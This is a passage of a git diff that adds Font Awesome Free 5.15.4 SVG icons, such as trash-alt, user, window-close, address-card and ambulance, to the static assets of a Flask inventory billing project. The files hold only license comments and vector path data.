15.5-17.9-6.9-55-62.4-93.3-107.8-93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/trash-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/trash-alt.svg new file mode 100644 index 00000000..393e5fcd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/trash-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M268 416h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12zM432 80h-82.41l-34-56.7A48 48 0 0 0 274.41 0H173.59a48 48 0 0 0-41.16 23.3L98.41 80H16A16 16 0 0 0 0 96v16a16 16 0 0 0 16 16h16v336a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128h16a16 16 0 0 0 16-16V96a16 16 0 0 0-16-16zM171.84 50.91A6 6 0 0 1 177 48h94a6 6 0 0 1 5.15 2.91L293.61 80H154.39zM368 464H80V128h288zm-212-48h24a12 12 0 0 0 12-12V188a12 12 0 0 0-12-12h-24a12 12 0 0 0-12 12v216a12 12 0 0 0 12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user-circle.svg new file mode 100644 index 00000000..f954931b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 104c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96zm0 144c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-240C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-49.7 0-95.1-18.3-130.1-48.4 14.9-23 40.4-38.6 69.6-39.5 20.8 6.4 40.6 9.6 60.5 9.6s39.7-3.1 60.5-9.6c29.2 1 54.7 16.5 69.6 39.5-35 30.1-80.4 48.4-130.1 48.4zm162.7-84.1c-24.4-31.4-62.1-51.9-105.1-51.9-10.2 0-26 9.6-57.6 9.6-31.5 0-47.4-9.6-57.6-9.6-42.9 0-80.6 20.5-105.1 51.9C61.9 339.2 48 299.2 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 43.2-13.9 83.2-37.3 115.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user.svg new file mode 100644 index 00000000..5e214351 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/user.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M313.6 304c-28.7 0-42.5 16-89.6 16-47.1 0-60.8-16-89.6-16C60.2 304 0 364.2 0 438.4V464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48v-25.6c0-74.2-60.2-134.4-134.4-134.4zM400 464H48v-25.6c0-47.6 38.8-86.4 86.4-86.4 14.6 0 38.3 16 89.6 16 51.7 0 74.9-16 89.6-16 47.6 0 86.4 38.8 86.4 86.4V464zM224 288c79.5 0 144-64.5 144-144S303.5 0 224 0 80 64.5 80 144s64.5 144 144 144zm0-240c52.9 0 96 43.1 96 96s-43.1 96-96 96-96-43.1-96-96 43.1-96 96-96z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-close.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-close.svg new file mode 100644 index 00000000..1d56f71d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-close.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V86c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v340zM356.5 194.6L295.1 256l61.4 61.4c4.6 4.6 4.6 12.1 0 16.8l-22.3 22.3c-4.6 4.6-12.1 4.6-16.8 0L256 295.1l-61.4 61.4c-4.6 4.6-12.1 4.6-16.8 0l-22.3-22.3c-4.6-4.6-4.6-12.1 0-16.8l61.4-61.4-61.4-61.4c-4.6-4.6-4.6-12.1 0-16.8l22.3-22.3c4.6-4.6 12.1-4.6 16.8 0l61.4 61.4 61.4-61.4c4.6-4.6 12.1-4.6 16.8 0l22.3 22.3c4.7 4.6 4.7 12.1 0 16.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-maximize.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-maximize.svg new file mode 100644 index 00000000..0bb1e221 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-maximize.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 394c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V192h416v234z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-minimize.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-minimize.svg new file mode 100644 index 00000000..19857755 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-minimize.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M480 480H32c-17.7 0-32-14.3-32-32s14.3-32 32-32h448c17.7 0 32 14.3 32 32s-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-restore.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-restore.svg new file mode 100644 index 00000000..56b41327 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/window-restore.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 0H144c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v320c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h48c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm-96 464H48V256h320v208zm96-96h-48V144c0-26.5-21.5-48-48-48H144V48h320v320z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ad.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ad.svg new file mode 100644 index 00000000..837a8dad --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ad.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-book.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-book.svg new file mode 100644 index 00000000..46dcddd1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-book.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-card.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-card.svg new file mode 100644 index 00000000..ae88c2fd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/address-card.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/adjust.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/adjust.svg new file mode 100644 index 00000000..f4051d73 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/adjust.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/air-freshener.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/air-freshener.svg new file mode 100644 index 00000000..f08e219f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/air-freshener.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-center.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-center.svg new file mode 100644 index 00000000..a632c2aa --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-center.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-justify.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-justify.svg new file mode 100644 index 00000000..89c17317 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-justify.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-left.svg new file mode 100644 index 00000000..31e08d4e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-right.svg new file mode 100644 index 00000000..d0b18787 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/align-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M16 224h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16zm416 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-384H172.83A12.82 12.82 0 0 0 160 44.83v38.34A12.82 12.82 0 0 0 172.83 96h262.34A12.82 12.82 0 0 0 448 83.17V44.83A12.82 12.82 0 0 0 435.17 32zm0 256H172.83A12.82 12.82 0 0 0 160 300.83v38.34A12.82 12.82 0 0 0 172.83 352h262.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/allergies.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/allergies.svg new file mode 100644 index 00000000..b9031599 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/allergies.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 112c-17.6 0-32 14.4-32 32v72c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32s-32 14.4-32 32v152c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V32c0-17.6-14.4-32-32-32s-32 14.4-32 32v184c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V64c0-17.6-14.4-32-32-32S96 46.4 96 64v241l-23.6-32.5c-13-17.9-38-21.8-55.9-8.8s-21.8 38-8.8 55.9l125.6 172.7c9 12.4 23.5 19.8 38.8 19.8h197.6c22.3 0 41.6-15.3 46.7-37l26.5-112.7c3.2-13.7 4.9-28.3 5.1-42.3V144c0-17.6-14.4-32-32-32zM176 416c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm0-96c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm64 32c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32 64c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm32-128c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ambulance.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ambulance.svg new file mode 100644 index 00000000..de52a508 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ambulance.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm144-248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48zm176 248c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/american-sign-language-interpreting.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/american-sign-language-interpreting.svg new file mode 100644 index 00000000..522cbe52 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/american-sign-language-interpreting.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M290.547 189.039c-20.295-10.149-44.147-11.199-64.739-3.89 42.606 0 71.208 20.475 85.578 50.576 8.576 17.899-5.148 38.071-23.617 38.071 18.429 0 32.211 20.136 23.617 38.071-14.725 30.846-46.123 50.854-80.298 50.854-.557 0-94.471-8.615-94.471-8.615l-66.406 33.347c-9.384 4.693-19.815.379-23.895-7.781L1.86 290.747c-4.167-8.615-1.111-18.897 6.946-23.621l58.072-33.069L108 159.861c6.39-57.245 34.731-109.767 79.743-146.726 11.391-9.448 28.341-7.781 37.51 3.613 9.446 11.394 7.78 28.067-3.612 37.516-12.503 10.559-23.618 22.509-32.509 35.57 21.672-14.729 46.679-24.732 74.186-28.067 14.725-1.945 28.063 8.336 29.73 23.065 1.945 14.728-8.336 28.067-23.062 29.734-16.116 1.945-31.12 7.503-44.178 15.284 26.114-5.713 58.712-3.138 88.079 11.115 13.336 6.669 18.893 22.509 12.224 35.848-6.389 13.06-22.504 18.617-35.564 12.226zm-27.229 69.472c-6.112-12.505-18.338-20.286-32.231-20.286a35.46 35.46 0 0 0-35.565 35.57c0 21.428 17.808 35.57 35.565 35.57 13.893 0 26.119-7.781 32.231-20.286 4.446-9.449 13.614-15.006 23.339-15.284-9.725-.277-18.893-5.835-23.339-15.284zm374.821-37.237c4.168 8.615 1.111 18.897-6.946 23.621l-58.071 33.069L532 352.16c-6.39 57.245-34.731 109.767-79.743 146.726-10.932 9.112-27.799 8.144-37.51-3.613-9.446-11.394-7.78-28.067 3.613-37.516 12.503-10.559 23.617-22.509 32.508-35.57-21.672 14.729-46.679 24.732-74.186 28.067-10.021 2.506-27.552-5.643-29.73-23.065-1.945-14.728 8.336-28.067 23.062-29.734 16.116-1.946 31.12-7.503 44.178-15.284-26.114 5.713-58.712 3.138-88.079-11.115-13.336-6.669-18.893-22.509-12.224-35.848 6.389-13.061 22.505-18.619 35.565-12.227 20.295 10.149 44.147 11.199 64.739 3.89-42.606 0-71.208-20.475-85.578-50.576-8.576-17.899 5.148-38.071 23.617-38.071-18.429 0-32.211-20.136-23.617-38.071 14.033-29.396 44.039-50.887 81.966-50.854l92.803 8.615 66.406-33.347c9.408-4.704 19.828-.354 23.894 7.781l44.455 88.926zm-229.227-18.618c-13.893 0-26.119 7.781-32.231 20.286-4.446 9.449-13.614 15.006-23.339 15.284 9.725.278 18.893 5.836 23.339 15.284 6.112 12.505 18.338 20.286 32.231 20.286a35.46 35.46 0 0 0 35.565-35.57c0-21.429-17.808-35.57-35.565-35.57z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/anchor.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/anchor.svg new file mode 100644 index 00000000..0b352911 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/anchor.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: 